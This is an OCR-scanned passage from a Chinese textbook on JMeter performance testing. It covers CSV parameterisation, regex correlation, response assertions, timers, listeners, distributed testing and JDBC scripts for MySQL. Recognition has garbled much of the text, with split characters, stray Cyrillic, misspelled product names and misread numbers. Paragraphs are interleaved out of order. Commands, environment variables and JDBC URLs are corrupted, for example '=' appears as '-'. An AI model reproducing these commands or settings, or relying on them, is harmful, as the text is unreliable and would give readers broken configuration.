@ 当 Recycle оп EOF 选 择 True 时 ，Stop thread оп EOF 选 择 True 或 者 False 没 有 任何 意义 。 因 为 之 前 设置 了 结束 后 循环 读 入 数据 ， 这 里 再 来 让 参数 化 文件 不 够 后 Stop 或 Run 没 有 任何 意义 。 
Q@ 当 Recycle on EOF 选 择 Flase 时 : 

: Stop thread on EOF 选 择 True， 如 果 设 置 线程 数目 为 10， 而 参数 化 文件 里 只 有 5 行 数据 ， 那 么 只 会 请 求 5 次 。 

: Stop thread on EOF 选 择 Flase， 如 果 设 置 线程 数目 为 10， 而 参数 化 文件 里 只 有 5 行 数据 ， 那 么 会 请 求 10 次 ; 但 是 因为 第 6 次 取 不 到 参数 化 数据 ， 所 以 从 第 6 次 之 后 的 请 求 可 能 会 请 求 错 误 。 

8) Sharing mode: 共享 模式 ， 分 为 All threads, Current thread group, Current thread， 这 个 地 方 科 LoadRunner 中 参数 化 中 的 迭代 取 值 相反 ， 经 过 试验 小 白 得 出 来 的 结果 如 下 。 


- All threads: 选择 该 项 ，Test plan 中 所 有 线程 共享 CSV 文 件 中 的 数据 ， 所 有 线程 按照 顺 选 方式 取 CSV 文 件 中 的 不 同 记录 。 测 试 计划 中 的 所 有 线程 ， 假 如 设置 了 10 个 线程 ， 线 程 1 取 了 一 次 值 后 ， 线 程 2 取 值 


时 ， 取 到 的 是 CSV 文 件 中 的 下 一 行 ， 即 与 线程 1 取 的 不 是 同一 行 。 


` 


: Current thread group: 选择 该 项 ，Test plan 中 所 有 线程 共享 CSV 文 件 中 的 记录 。 在 当前 线程 组 中 ， 假 设 有 线程 组 A、 线 程 组 B，A 组 内 有 线程 A1 到 线程 An， 线 程 组 B 内 有 线程 B1 到 线程 Bn。 取 值 的 情况 


: 线程 A1 取 第 1 行 ， 线 程 A2 取 第 2 行 ， 线 程 B1 取 第 1 行 ， 线 程 B2 取 第 2 行 。 


hs 


: Current thread: 选择 该 项 ， 每 个 线程 各 自 独立 地 使 用 CSV 文 件 中 的 记录 。 假 设 设置 了 10 个 线程 ， 则 线程 1 取 第 1 行 ， 线 程 2 也 取 第 1 行 。 
全 注意 线程 循环 时 ， 取 CSV 值 时 ， 也 算 入 迭代。 例如 ， 当 设置 为 Cuttent thread 时 ， 线 程 1 第 1 次 取 了 第 1 行 ， 第 2 次 取 的 就 是 第 2 和 


这 些 设置 完成 后 ， 在 需要 进行 参数 化 的 地 方 ， 将 Variable Names (comma-delimited) 里 设置 的 参数 化 名 蔡 换 即 可 。 例 如 ， 将 之 前 用 Badboy 录 制 的 参数 besttest 蔡 换 成 ${key)}。 
5.3.5 JMeter% 


JMeter 也 有 类 似 于 LoadRunner 的 关联 ， 不 过 JMeter 的 关联 是 用 基于 正则 表达 式 和 XPath Extractor 等 实现 的 。 

现在 小 白 想 把 之 前 测试 结果 值 中 返回 的 bettest ( 见 图 5-12) 作为 关联 值 获取 ， 以 便 在 后 面 需 要 用 到 的 地 方 使 用 。 例 如 ， 需要 将 wd=besttest&ie= utf-8 中 返回 的 besttest 进 行 关联 。 
首先 在 需要 获得 数据 的 请 求 (request 请 求 ， 图 5-12 的 Step 1) 上 右 击 ， 依 次 选择 “添加 ”一 “后 置 处 理 器 ”一 “正则 表达 式 提取 器 ”， 如 图 5-13 所 示 。 

正则 表达 式 相关 界面 解释 如 下 。 

名称: 取 一 个 有 代表 性 的 名 称 即 可 。 

. 注释 : 对 本 次 正则 表达 式 的 注释 ， 注 释 自 己 能 理解 的 意思 即 可 。 
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图 5-13 JMeter 正 则 表达 式 
t 要 检查 的 响应 字段 : 与 LoadRunner 中 的 tree 视 图 有 些 类 似 ， 表 示 在 哪个 地 方 提取 正则 表达 式 ， 一 般 选 择 主体 即 可 。 
ДААЖ: 其 他 地 方 引用 提取 值 的 变量 名 称 ， 这 里 如 填写 的 是 BI， 那 么 其 他 地 方 具体 的 引用 方式 是 ${BT}。 


ЕД КК: 提取 的 正则 表达 式 主体 ， 这 里 是 wd 二 (.*) &ie=utf8; (ж) 表示 要 提取 的 内 容 ，wd= (.*) 相 当 于 LoadRunnet 中 的 左边 界 ，utf-8 相 当 于 LoadRunner 中 的 右边 界 。 如 果 碰 到 返回 结果 值 是 


多 个 相同 的 导致 结果 ， 就 用 正则 中 的 “? ” 代 蔡 “.*”， 代表 找 到 第 一 个 匹配 项 后 ， 停 止 ， 如 parent.location='/bugfree/case/ (.+? ) '; o 


* 模板 : 用 $$ 引用 起 来 ， 如 果 在 正则 表达 式 中 有 多 个 提取 表达 式 ， 则 可 以 是 $18、$2$ 等 ， 表 示 将 解析 到 的 第 几 个 值 给 提取 到 的 变量 ,正则 表达 式 的 提取 模式 ， 值 从 1 开始 ， 值 0 对 应 的 是 整个 匹配 的 表达 


“ 匹配 数据 (0 代表 随机 ) : 0 代表 随机 ，-1 代 表 所 有 ， 其 余 正 整数 表示 对 应 第 几 个 匹配 内 容 。 例 如 ，4 代 表 匹 配 第 4 个 结果 值 。 如 


果 在 LR 中 ， 取 出 的 值 是 一 个 数组 ， 还 需要 处 理 一 下 ，LR11 版 本 用 一 个 随 
机 的 郧 数 即 可 ， 不 用 写 大 段 的 代码 来 处 理 数 组 。 


` RME: 如 果 返 回 结果 中 没有 匹配 的 值 ， 则 变量 的 值 采 用 默认 值 。 例 如 ， 图 5-12 中 的 默认 值 是 “ 安 大 叔 ”， 表 示 在 正则 表达 式 提取 不 到 匹配 的 值 时 ， 其 他 地 方 引 用 ${BT} 的 值 就 是 “ 安 大 叔 ”。 


正则 表达 式 写 好 之 后 ， 把 脚本 中 的 百度 请 求 复制 一 份 ， 并 将 复制 请 求 中 “wd ”的 值 用 小 白 正 则 表达 式 中 设置 的 变量 名 ${BT} 蔡 换 。 


完成 之 后 ， 运 行 一 次 脚本 ， 在 查看 结果 树 中 看 第 二 次 发 送 的 请 求 (第 二 次 请 求 利 用 了 正则 表达 式 ) ， 从 图 5-14 中 可 以 看 到 ， 请 求 中 wd 传递 的 参数 值 已 经 是 小 白 用 正则 表达 式 提 取 到 的 besttest 了 。 
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图 5-14 JMetet 关 联运 行 结 果 


5.36 ЈМеѓегі E 


JMeter 与 LoadRunner 一 样 ， 也 有 检查 点 ， 不 过 JMeter 的 检查 点 是 用 断言 实现 的 ，JMeter 中 集成 了 BSF 断 言 、 响 应 断言 、XML 断 言 等 ， 其 中 使 用 比较 多 的 是 响应 断言 ， 这 里 小 白 用 响应 断言 跟 大 家 一 起 


通过 “添加 ”一 “断言 ”一 “响应 断言 ”就 能 添加 响应 断言 了 。 如 果 添 加 了 断言 ， 就 需要 在 对 应 的 监听 器 添加 “断言 结果 
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才能 在 执行 后 查看 断言 结果 是 否 正 确 。 上 断言 的 具体 设置 如 图 ?5-15 所 示 。 
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图 5-15 ”响应 断言 设置 
断言 相关 界面 解释 如 下 。 


DEM: 该 节点 的 名 称 ， 可 自行 定义 。 


Sub-samples only (^ JMeter Variable —Sa s | 


r 响应 信息 б Response Headers | |lgnore Status | 


Equals C Substring [|] 


OE: 对 该 节点 的 注释 ， 有 意义 即 可 。 

GApply то: 默认 即 可 。 

@ 要 测试 的 响应 字段 : 可 以 选择 文本 、 代 码 ， 一 般 选 择 文本 即 可 。 

@ 模 式 匹配 规则 : 

“ 包括 : 返回 结果 包括 指定 的 内 容 ， 一 般 断 言 的 时 候 ， 匹 配 规则 选择 包括 即 可 。 

: 匹配 : 返回 的 结果 与 指定 的 内 容 进行 精确 匹配 ， 因 为 响应 的 内 容 一 般 还 包含 其 他 的 信息 ， 如 HIML 标签， 所 以 很 难 准确 匹配 。 

`- Equals: 返回 结果 与 指定 结果 一 致 。 

: Substring: 返回 结果 是 指定 结果 的 子囊 。 

T: 不 进行 匹配 。 

@ 要 测试 的 模式 : 也 就 是 要 断言 的 具体 内 容 ， 可 以 是 中 文 或 者 英文 。 可 以 设置 多 个 断言 内 容 ， 如 果 设 置 多 个 断言 内 容 ， 则 只 有 多 个 断言 内 容 在 返回 结果 值 中 都 找到 测试 结果 才 会 通过 ， 只 要 有 一 个 失 
败 ， 整 个 测试 结果 就 都 是 失败 的 。 

之 前 的 脚本 中 ， 返 回 值 里 有 “性 能 测试 ”这 个 字段 ， 小 白 这 里 将 “性 能 测试 ”设置 为 断言 内 容 ， 详 情 见 图 5-15。 运 行 测试 脚本 ， 在 断言 结果 里 如 果 没有 报错 ， 则 表明 断言 成 功 ， 如 果 报错 ， 则 表明 断言 
失败 。 小 白 将 断言 内 容 从 “性 能 测试 ” 改 为 “ 安 大 叔 ”， 运 行 脚本 后 ， 在 断言 结果 中 查看 会 看 到 报错 信息 ， 断 言 结果 中 显示 “测试 失败 ”， 如 图 5-16 所 示 。 
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5-16 ”断言 结果 错误 


5.3.7 思考 时 间 和 集合 点 
学 完了 JMeter 的 参数 化 、 关 联 和 检查 点 后 ， 小 白 还 剩 下 思考 时 间 和 集合 点 没有 学 习 了 ， 下 面 继续 学 习 JMeter 的 思考 时 间 和 集合 点 的 相关 知识 。 


1. 思 考 时 间 

JMeter 中 也 有 类 似 于 LoadRunner 的 思考 时 间 ，JMeter 的 思考 时 间 是 用 定时 器 实现 的 。 默 认 情况 下 ，JMeter 线 程 在 发 送 请 求 之 间 是 没有 间隔 的 。 建 议 为 线程 组 添加 定时 器 ， 设 定 请 求 之 间 的 间隔 时 间 ， 
一 方面 是 为 了 更 加 真实 地 模拟 用 户 的 请 求 ， 另 一 方面 也 是 为 了 减少 服务 器 压力 。 如 果 不 设 定 这 种 延迟 ， 则 JMeter 可 能 会 在 短 时 间 内 产生 大 量 请 求 ， 导 致 服务 器 可 能 压力 过 大 而 瘫痪 。 但 是 设置 定时 器 会 让 作 
用 域内 的 每 一 个 采样 器 都 在 执行 前 等 待 一 个 固定 时 长 ， 这 里 需要 注意 的 是 ， 不 管 定时 器 是 放 在 sampler 之 前 ， 还 是 sampler 之 后 ， 定 时 器 都 会 在 sampler 之 前 执行 ， 如 果 确 实 需 要 在 某 个 位 置 之 后 暂停 ， 那 么 
加 入 Test Action 采 样 器 即 可 。 

定时 器 也 是 有 作用 域 的 ， 执 行 一 个 sampler 之 前 ， 所 有 当前 作用 域内 的 定时 器 都 会 被 执行 ， 如 果 只 希望 定时 器 作用 于 其 中 的 一 个 sampler， 就 把 定时 器 放 在 该 sampler 下 。 如 果 测 试 人 员 为 线程 组 添加 了 
多 个 定时 器 ， 那 么 JMeter 会 将 这 些 定时 器 的 时 长 堵 加 起 来 ， 共 同 影 响 作 用 域 范围 内 的 采样 器 。 定 时 器 可 以 作为 采样 器 或 者 逻辑 控制 器 的 子 项 ， 目 的 是 只 影响 作用 域内 的 采样 器 。 


JMeter 常 用 的 定时 器 有 如 下 几 种 。 


1) 国定 定时 器 : 是 最 重用 的 定时 器 。 例 如 ， 设 置 固 定 定时 器 时 长 为 2000ms， 那 么 在 每 次 sampler 运 行 之 前 都 会 固定 等 待 23S。 固 定 定 时 器 的 延 时 不 会 计 入 单个 ampler 的 响应 时 间 ， 但 会 计 入 事务 控制 
器 的 时 间 ， 如 “java 请 求 ”。 定 时 器 相当 于 LoadRunner 中 的 pacing (ЖУННЕН ЫНЫ) ; 对 于 “事务 控制 器 ”来 说 ， 定 时 器 相当 于 LoadRunner 中 的 think time (真实 用 户 在 操作 过 程 中 的 等 待 时 
间 ) 。 


2) 高 斯 随机 定时 器 : 定时 器 的 延 时 在 指定 范围 内 的 正 态 分 布 。 
3) Uniform Random Timer: 也 就 是 均匀 随机 定时 器 ， 延 时 在 指定 范围 内 ， 并 且 每 个 时 间 取 值 的 概率 相同 。 


4) Constant Throughput Timer: 也 就 是 固定 吞吐 量 定 时 器 ， 这 种 定时 器 在 特定 场景 非常 有 用 ， 可 以 使 JIMeter 以 指定 数字 的 吞吐 量 ( 即 指定 TPS，JMeter 这 里 要 求 指定 每 分 钟 的 执行 数 ， 而 不 是 每 
Wb) 执行 。 吞 吐 量 计算 的 范围 可 以 指定 为 当前 线程 、 当 前 线程 组 、 所 有 线程 组 ， 并 且 计算 吞吐 量 的 依据 可 以 是 最 近 一 次 线程 的 执行 时 间 。 


5) Synchronizing Timer: 同步 定时 器 即 JMeter 的 集合 点 ， 与 LoadRunner 的 结合 点 基本 相当 ， 可 以 使 线程 等 待 ， 当 达到 指定 的 线程 数 后 ， 在 一 起 执行 ， 可 以 模拟 同时 的 并 发 。 
2 RÊ 


LoadRunner 中 的 集合 点 可 以 设置 多 个 虚拟 用 户 等 待 到 一 个 点 ， 同 时 触发 一 个 事务 ， 以 达到 模拟 真实 环境 下 多 个 用 户 同时 操作 ， 实 现 性 能 测试 的 最 终 目 的 。JMeter 中 也 有 集合 点 这 个 概念 ，JMeter 中 使 
用 Synchronizing Timer 实 现 集合 点 的 功能 ， 模 拟 多 用 户 并 发 测试 ， 即 多 个 线程 在 同一 时 刻 并 发 请 求 。 将 测试 元 件 的 Synchronizing Timer 添 加 到 请 求 之 前 或 某 个 Sampler 的 子 节点 ， 右 击 左 侧 窗 格 的 “测试 
计划 ”， 在 弹出 的 菜单 中 依次 选择 “添加 ”一 “定时 器 ”一 Synchronizing Timer， 弹 出 如 图 5-17 所 示 界 面 。 
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图 5-17 JMetet 集 合 点 


Synchronizing Timer 相 关 界 面 解释 如 下 。 


AR: 该 节点 的 名 称 ， 可 自行 定义 。 
Ж: 对 该 节点 的 注释 ， 有 意义 即 可 。 
: Number of Simulated users to Group Бу: 集合 点 集合 够 N 个 用 户 才 开 始 执 行 并 发 ， 在 使 用 中 发 现 最 后 一 批 线程 数 不 够 集合 点 数目 时 ，JMetet 会 停止 不 动 ， 如 果 碰 到 这 种 情况 ， 就 只 能 杀 挤 JMeter 进 程 重 新 
执行 测试 。 
5.3.8 ”运行 结果 分 析 
JMeter 的 运行 结果 都 需要 添加 监听 器 ， 常 用 的 监听 器 包括 聚合 报告 、 图 形 结果 、 监 视 器 结果 、Aggregate Graph。 在 运行 性 能 场景 的 时 候 ， 尽 量 不 要 同时 开启 多 个 监听 器 ， 因 为 监听 器 会 消耗 系统 资 
源 ， 更 多 的 监听 器 也 会 导致 测试 结果 的 失真 ， 所 以 在 运行 性 能 测试 场景 的 时 候 ， 尽 量 选择 一 个 合适 的 监听 器 ， 下 面 介 绍 几 个 比较 常用 的 监听 器 。 
1. 聚 合 报告 


JMeter 的 聚合 报告 如 图 5-18 所 示 。 
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图 5-18 JIMetet 的 聚合 报告 


JMeter 聚 合 报告 相关 解释 如 下 。 
: Label: 请 求 的 名 称 ， 如 图 5-18 左 侧 的 请 求 名 称 有 http://www.baidu.com/s 和 人 安 大 叔 ， 聚 合 报 告 中 也 显示 这 2 个 名 称 。 
Samples: 本 次 测试 一 共 运 行 了 多 少 个 请 求 。 例 如 ， 图 5-18 中 有 2 个 请 求 ， 迭 代 5 次 ， 一 共 运 行 10 次 。 
: Average: 测试 结果 的 平均 响应 时 间 ， 单 位 为 ms。 
- Median: 测试 结果 中 的 中 间 值 ， 即 50% 服 务 器 响应 时 间 低 于 该 值 ，50% 的 服务 器 响应 时 间 高 于 该 值 。 
. 90%Line: 测试 结果 中 90% 用 户 的 响应 时 间 不 超过 该 值 。 
. Min: 测试 结果 中 的 最 小 响应 时 间 。 
: Max: 测试 结果 中 的 最 大 响应 时 间 。 
' Error%: 本 次 测试 错误 率 ， 性 能 测试 的 前 提 是 保证 业务 的 正确 性 ， 如 果 错 误 率 过 高 ， 那 么 性 能 结果 一 般 也 是 不 能 接受 的 。 行 业内 一 般 要 求 是 99.99%， 当 然 ， 这 个 不 是 绝对 的 。 
: Throughput: 吞吐 量 。 
: KB/Sec: 每 秒 从 服务 器 端 接 收 到 的 数据 量 。 
单 击 Configure 后 会 弹出 监听 器 的 公共 属性 ， 可 以 对 报告 保存 的 结果 信息 进行 修改 ， 建 议 保存 为 CSV 格 式 ， 因 为 这 样 会 节约 系统 资源 。 
Aggregate Graph 的 结果 与 聚合 报告 基本 相同 ， 多 了 一 个 Graph 页 ， 可 以 以 图 形 化 的 方式 将 请 求 的 评价 响应 时 间 展 示 出 来 ， 在 这 里 就 不 多 介绍 了 。 


2. 图 形 结果 


JMeter 的 图 形 结果 如 图 5-19 所 示 。 
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图 5-19 JMeter 图 形 结果 
JMeter 图 形 结果 相关 解释 如 下 。 
ЖАЖА: 从 服务 器 返回 请 求 结 果 的 总 数 。 
最 新 样本 : 最 近 一 次 请 求 的 响应 时 间 。 


Боре: 服务 器 每 分 钟 处 理 的 请 求 数 。 


- P46: 运行 时 间 范 围 内 所 有 响应 时 间 的 中 间 值 ， 代 表 一 半 请 求 的 响应 时 间 会 高 于 这 个 值 ， 一 半 请 求 的 响应 时 间 会 低 于 这 个 值 。 
“ 偏离 : 服务 器 响应 时 间 变 化 、 离 散 程度 测量 值 的 大 小 ， 类 似 于 LoadRunnet 中 的 标准 方差 。 
3. 用 表格 查看 结果 树 


JMeter 可 用 表格 查看 结果 树 ， 如 图 5-20 所 示 。 
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图 5-20 用 表格 查看 结果 树 


JMeter 用 表格 查看 结果 树 相关 解释 如 下 。 

Sample: 每 个 请 求 的 序号 。 

: Start Time: 每 个 请 求 运行 开始 时 间 。 

: Thread Мате: 每 个 线程 的 名 称 。 

: Label: 请 求 名 称 。 

Sample Time (ms) : 每 个 请 求 所 花 的 时 间 ， 单 位 为 ms。 


Status: 请 求 状态 ， 如 果 为 勾 则 表示 成 功 ， 如 果 为 叉 表示 失败 ; 但 如 果 是 勾 ， 也 并 不 能 认为 请 求 就 一 定 完全 成 功 了 ， 因 为 还 得 看 Bytes 的 字 节 数 是 否 是 所 请 求 网 页 的 正常 大 小 值 ， 如 果 不 是 则 说 明 发 生 了 
丢 包 现象 ， 所 以 如 果 Status 为 名 也 不 代表 一 定 是 成 功 的 。 


. Bytes: 请 求 的 字 节 数 。 
ЖАЖА: 也 就 是 执行 了 多 少 次 请 求 。 
最 新 样本 : 表示 服务 器 响应 最 后 一 个 请 求 的 响应 时 间 。 


. 平均 : 表示 平均 响应 时 间 。 


5.39 JMeter 之 分 布 式 测试 


作为 一 个 纯 Java 的 GUI 应 用 ，JMeter 对 于 CPU 和 内 存 的 消耗 还 是 很 惊人 的 ， 当 需要 模拟 数 以 干 计 的 并 发 用 户 时 ， 使 用 单 台 机 器 模拟 所 有 的 并 发 用 户 就 有 些 力不从心 ， 甚 至 还 会 引起 Java 内 存 溢出 的 错 
误 。 不 过 ，JMeter 也 可 以 像 LoadRunner 一 样 ， 通 过 使 用 多 人 台 机 器 运行 所 谓 的 代理 来 分 担负 载 产 生 器 自身 的 压力 ， 并 借 此 来 获取 更 大 的 并 发 用 户 数 ， 在 这 里 只 需 手 动 配置 一 下 即 可 。 


Windows 下 的 JMeter 分 布 式 配置 如 下 。 


1) 在 所 有 期 望 运行 JMeter 作 为 负载 产生 器 的 机 器 上 安装 JMeter， 并 确定 其 中 一 人 台 机 器 作为 控制 器 ， 其 他 的 机 器 作为 代理 。 然 后 运行 所 有 代理 机 器 上 的 jmeter-server.bat 文 件 ， 这 里 小 白 使 用 两 台 机 器 
172.20.80.47 和 172.20.80.68 作 为 代理 服务 器 。 


2) 在 Controller 机 器 的 JMeter 安 装 目录 下 找到 bin 目 录 ， 再 找到 meter.properties 这 个 文件 ， 使 用 记事 本 或 者 其 他 文字 编辑 工具 打开 它 。 


3) 在 打开 的 文件 中 查找 “remote_hosts=” 这 个 字符 串 ， 可 以 找到 这 样 一 行 “remote_hosts=127.0.0.1”。 其 中 的 127.0.0.1 表 示 本 机 运行 JMeter 代 理 的 机 器 ， 这 里 需要 修改 
7j "remote hosts-127.0.0.1, 172.20.80.47:1099, 172.20.80.68:1099" ; 其 中 的 端口 1099 不 要 改动 ， 这 是 默认 的 JMeter 控 制 器 与 代理 之 间 通 信 的 RM| 端 口号， 如果 想 更 换 端口 号 ， 则 根据 运行 环境 设 


置 ，172.20.80.47 和 172.20.80.68 为 远程 负载 机 的 |P。 


Q@ 在 Windows 中 运行 如 下 命令 。 


SET SERVER PORT-1099 
JMeter-SERVER 


在 Linux 中 运行 如 下 命令 。 


更 大 


SERVER PORT-1099 JMeter-server; 


4) 配置 JMeter 的 环境 变量 ， 如 果 不 配置 环境 变量 ， 分 布 式 就 启动 不 成 功 。Windows 下 的 JMeter 环 境 变量 的 配置 如 下 。 (大 家 使 用 过 程 中 可 根据 自身 情况 进行 设置 。) 


JMeter HOME-D: \soft\test\apache-JMeter-2.11; 


CLASSPATH-; $JMeter HOME$MlibNVextVApacheJMeter core.jar; $JMeter HOME%\lib\jorphan.jar 


PATH=; $JMeter HOMES $Nbin; 


5) 保存 文件 ， 重 新 启动 控制 器 机 器 上 的 JMeter， 并 进入 “启动 ”一 “远程 启动 ”菜单 项 ， 会 看 到 刚才 添加 的 两 个 代理 的 地 址 


; JMeter HOMES$MlibMlogkit-2.0.jar; 


， 选 中 即 可 运行 。 如 果 想 同时 启动 所 有 代理 ， 选 择 远程 全 部 启动 即 可 。 


6) Linux 下 的 JMeter 分 布 式 配 置 。JMeter 的 分 布 式 可 以 与 LoadRunner 一 样 ， 将 agent 代 理 装 在 Linux 下 面 ，JMeter 分 布 式 在 Linux 下 的 配置 与 在 Windows 下 配置 基本 相同 ， 唯 一 不 同 的 就 是 Linux 下 的 


环境 变量 配置 不 同 ，Linux 下 JM eter 环 境 变量 的 配置 如 下 。 


export 
expor 


JMeter HOME=/usr/local/apache-JMeter-2.11 
PATH=$JMeter HOME 


tri 


E/lib/ext/ApacheJMeter core.jar: $JMeter HOME/lib/jorphan.jar: $JMeter HOME/lib/logkit-2.0.jar: $JMeter НОМ 


E/bin: SPATH 


在 JMeter 分 布 式 控制 过 程 中 ， 各 个 Agent 启 动 的 线程 数 等 于 线程 组 中 的 配置 ， 不 是 均 分 线程 组 中 的 配置 。 


[l] 正则 表达 式 : 正则 表达 式 是 一 种 文本 模式 ， 包 括 普 通 字 符 ( 如 a~z 的 字母 ) 和 特殊 字符 ( 称 为 “元 字符 ”) 


正则 表达 式 元 字符 见 附录 C。 


54 JMeter JDBC 脚 本 实战 


小 白 在 学 习 过 程 中 ， 发 现 JMeter 进 
JMeter 测 试 MySQL 脚 本 。 其 他 类 型 的 数据 库 测 试 参考 MySQL 的 测试 过 程 。 


1. 创 建 JDBC 连 接 


字符 ”) 。 模 式 描述 在 搜索 文本 时 ， 要 匹配 的 一 个 或 多 个 字符 囊 正则 表达 式 有 多 种 不 同 的 风格 ， 常 见 的 


行 JDBC 脚 本 开发 特别 方便 ， 不 需要 像 LoadRunner 一 样 录制 SQLPLUS 操 作 形 成 Oracle 脚 本 或 者 自己 写 JDBC 请 求 来 形成 脚本 。 下 面 就 跟 小 白 一 起 简单 学 习 下 如 何 利用 


在 测试 计划 下 添加 线程 组 ， 在 线程 组 下 从 “配置 元 件 ” 中 添加 一 个 JDBC Connection Configuration， 具 体 信息 参考 图 5-21。 
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图 5-21 JDBC Connection Configuration ÉC $. 


各 参数 属性 解释 如 下 。 


: Variable Name: JDBC 创 建 的 连接 池 的 名 称 ， 因 为 这 里 测试 的 是 MySQL， 所 以 设置 为 MySQL， 这 里 一 定 注意 要 与 JDBC Request 中 的 Vatiable Name 保 持 一 致 。 


: Max Number Connection: JDBC 连 接 池 的 最 大 连接 数 ， 如 果 该 值 设 置 为 0， 则 表示 线程 之 间 独 立 不 使 用 共享 线程 池 ， 如 果 要 使 用 共享 线程 池 


: Pool Timeout: 创建 连接 池 时 的 超时 时 间 ， 如 果 超 过 这 个 时 间 ， 则 系统 会 抛 出 错误 信息 
: Idle Cleanup Interval (ms) : 连接 池 的 空 闪 时 间 ， 默 认 是 1 分 钟 。 


Auto Commit: 是 否 自 动 提交 ， 上 默认 选择 为 True。 


- Transaction Isolation: 数据 库 事 务 隔离 级 别 ， 默 认为 default。MySQL 数 据 库 事务 隔离 级 别 有 4 种 ， 


并 且 系统 开销 也 会 越 小 ， 附 录 D 对 MySQL 数 据 库 的 事务 隔离 级 别 有 详 细 的 介绍 
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: Keep-Alive: 是 否 开局 长 连接 机 制 ， 如 果 开 局 keep-alive， 则 需要 设 定 Kkeep-alive 的 超时 时 间 。 


， 则 确保 该 值 大 于 等 于 最 大 线程 数 。 


分 别 是 Read Uncommitted, Read Committed, Repeatable Read、Setializable。 级 别 越 低 ， 支 持 的 并 发 往往 会 


: Max Connection Age (ms) : keep-alive 的 超时 时 间 ， 在 连接 超时 之 前 ， 新 的 请 求 会 重用 之 前 建立 的 连接 ， 而 不 会 重新 创建 新 的 连接 ， 如 果 超 过 这 个 超时 时 间 ， 则 会 断 开 原 有 连接 ， 新 的 请 求 会 重新 创建 
新 的 连接 。 


: Validation Query: 测试 JjDBC 连 接 是 否 畅 通 ， 上 默认 是 select 1 from default。 
: Database URL: JDBC 连 接 字 符 串 ， 因 为 这 里 测试 的 是 MyQSL， 所 以 可 以 写成 jdbc:mysql://hostl:portj/dbname; 其 他 类 型 数据 库 对 应 的 Driver class VA Database URL 参 考 表 5-1。 


表 5-1 JMeter 数 据 库 驱动 名 以 及 对 应 的 URL 


MySQL com.mvsgl.jdbc.Driver jdbc:mysgql://host[:port |/dbname 
PostgreSQL org.posteresql.Driver idbc:postgresgl: {dbname} 
jdbc:oracle:thin:(t//host:port/service OR 


Oriek oracle.jdbc.OracleDriver jdbc:oracle:thin:(t (description-(address-(host- 


imc-namej )(protocol-tcp)(port- |port-noj )) 
(connect data-(sid- 1514} ))) 


Ingres (2006) ingres.jdbc.IngresDriver 1dbc:ingres://host:port/db[:attr-value] 


SOL Server (MS | com.microsoft.sglserver.jdbc. 


JDBC driver) SQLServerDriver jdbe:sglserver://host:port:DatabaseName-dbname 


: | | )dbc:derby://server|:port]|/databaseName|:URL 
Apache Derby org.apache.derby.jdbc.ClientDriver ! x [port] | 
Attributes-value[....]] 

Sybase com.sybase.jdbc2.1dbc.SybDriver idbc:sybase:Tds:hostip:port/dbname 

DB2 com.ibm.db2.1cc.DB2Driver jdbc:db2://hostip:port/dbname 


: LEY ur x Nr "фата = +! £g > : - 一- 
С 1dbc:informix-sqli://hostip:port/dbname:informixserver- 
Informix com.informix.jdbc.IfxDriver | : 
«dbservername- 


MongoDB com.mongodb.jdbc.MongoDriver jdbc:mongo://192.168.152.132:29847/database name 


: JDBC Driver class: JDBC 驱 动 的 类 名 ， 因 为 这 里 测试 MySQL， 所 以 设置 的 是 com.mysql.jdbc.Dtiver。 不 同类 型 的 驱动 名 称 可 参考 表 5-1。 需 要 注意 的 是 ， 进 行 JDBC 测 试 都 需要 依赖 相应 的 Jar 包 ， 不 同 的 数 
据 库 类 型 对 于 不 同 的 Jar 包 ， 具 体 参 考 如 表 5-2 所 示 。 


表 5-2 JMeter 数据库 对 应 的 Jat 文 件 


数据 库 对 应 的 Jar 文件 
Oracle classes12.zip 或 ojdbc14.jar 
Sybase jconn2.jar 或 jconn3 jar 
Nisi mysgl-connector- J ava-3.1.1-a {реши jar 或 
` mysql-connector-java-5.0.2-beta-bin.jar 
SQLServer 2000 msbase.jar, msutil.jar, mssqlserver.jar 
SQLServer 2005 sqljdbc.Jar 
SOLServer 7.0 jtds-1.2.2.Jar 
Informix 1fxjdbc jar 
DB2 db2jcc.jar, db2jcc license cu.jar 


: Username: 数据 库 用 户 名 。 

: Password: 数据 库 密码 。 

2. 创 建 JDBC 测 试用 例 

用 鼠标 右键 单 击 左 侧 的 线程 组 ， 在 弹出 的 菜单 中 选择 “添加 ”一 Sampler 一 JDBC Request， 可 以 创建 一 个 新 的 JDBC 测 试用 例 。 按 照 如 下 方式 设置 属性 。 
1) Variable Мате: 使 用 的 JDBC 连 接 池 名 称 。 需 要 与 JDBC Connection Configuration 中 的 Variable Name 保 持 一 致 ， 否 则 会 报错 。 


2) Query Туре: SQL 查询 的 类 型 ， 主 要 包括 Select、Update、Callable Statement, Commit, Rollback&&, 


“ 多 个 查询 语句 (不 使 用 参数 的 情况 下 ) 可 以 放 在 一 起 顺序 执行 ， 需 要 设置 Query Type 为 Callable Statement， 然 后 顺序 输入 select 语 句 ， 不 用 加 go 或 者 分 号 。 如 果 Query Type 设置 为 Select Statement， 则 只 执 


行 第 一 个 SQL 语句。 


| 如 果 SQL 语 名 中 使 用 参数 变量 ， 那 么 Quety Type 需要 设置 为 Select Statement， 只 执行 第 一 条 SQL 语句 。 变 量 可 以 直接 在 JDBC Request 下 方 的 Parametet Values 中 输入 ${ 变 量 名 称 } ，${ 变 量 名 称 }。 也 可 以 使 
用 本 地 文件 ， 或 者 通过 CSV Data Set Config 进 行 参 数 化 。 


< 3j Insert, Update. Delete% 6] , S jx Я Query Type 为 Update Statament。 在 数据 修改 语句 中 可 以 使 用 参数 ， 而 且 可 以 顺序 执行 多 个 修改 语句 。 


3) Query: SQL 查询 语句 ， 在 这 里 输入 需要 执行 的 SQL 语句 ， 小 白 这 里 输入 如 下 语句 。 


insert into bf test user (username, password, realname, email) values ('$(username)',  'el0adc3949ba59abbe56e057f20f£883e', ‘${username}’, '$(username)8test.com') ; 
--update bf test user set realname-'andashu' where username- $[username]'; 
--delete from bf test user where username- $[username]'; 


4) Parameter values: SQL 查询 的 参数 ， 这 里 介绍 通过 在 CSV 文 件 中 读 取 参 数 的 方式 。 这 里 设置 为 : 


${ CSVRead (D: /besttest/andashutest.csv, 0) ) 


其 中 的 0 表示 CSV 文 件 的 第 0 列 。 如 果 SQL 查 询 语句 有 多 个 参数 ， 则 可 以 在 Parameter values 中 用 逗号 分 隔 继续 输入 。 例 如 : 


${__CSVRead (D: /besttest/andashutest.csv, 0) }, ${ CSVRead (D: /besttest/andashutest.csv, 1) } 


5) Parameter types: SQL 查询 参数 的 类 型 。 这 里 设置 为 VARCHAR， 如 果 有 多 个 参数 ， 就 使 用 逗号 分 隔 。 
3. 添 加 监听 器 
